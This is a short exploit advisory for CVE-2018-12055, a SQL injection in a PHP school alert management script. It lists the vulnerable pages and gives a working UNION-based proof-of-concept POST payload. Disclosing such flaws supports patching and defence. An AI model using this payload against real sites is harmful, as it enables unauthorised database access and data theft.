Schools Alert Management Script SQL Injection

Schools Alert Management Script suffers from a remote SQL injection vulnerability.


MD5 | 3450fb18cbea09fe935a9724b8a4e0f1

# Exploit Title: Schools Alert Management Script - SQL Injection
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: [email protected]
# Web: https://github.com/unh3x/just4cve/issues/2
# Tested on: Linux Mint
# CVE: CVE-2018-12055

# Vulnerable cgi:
contact_us.php faq.php about.php photo_gallery.php privacy.php

# Proof of Concepti1/4

POST http://localhost/[PATH]/photo_gallery.php DATA xxx'/**/union/**/all/**/select/**/1,user(),3,4#


Related Posts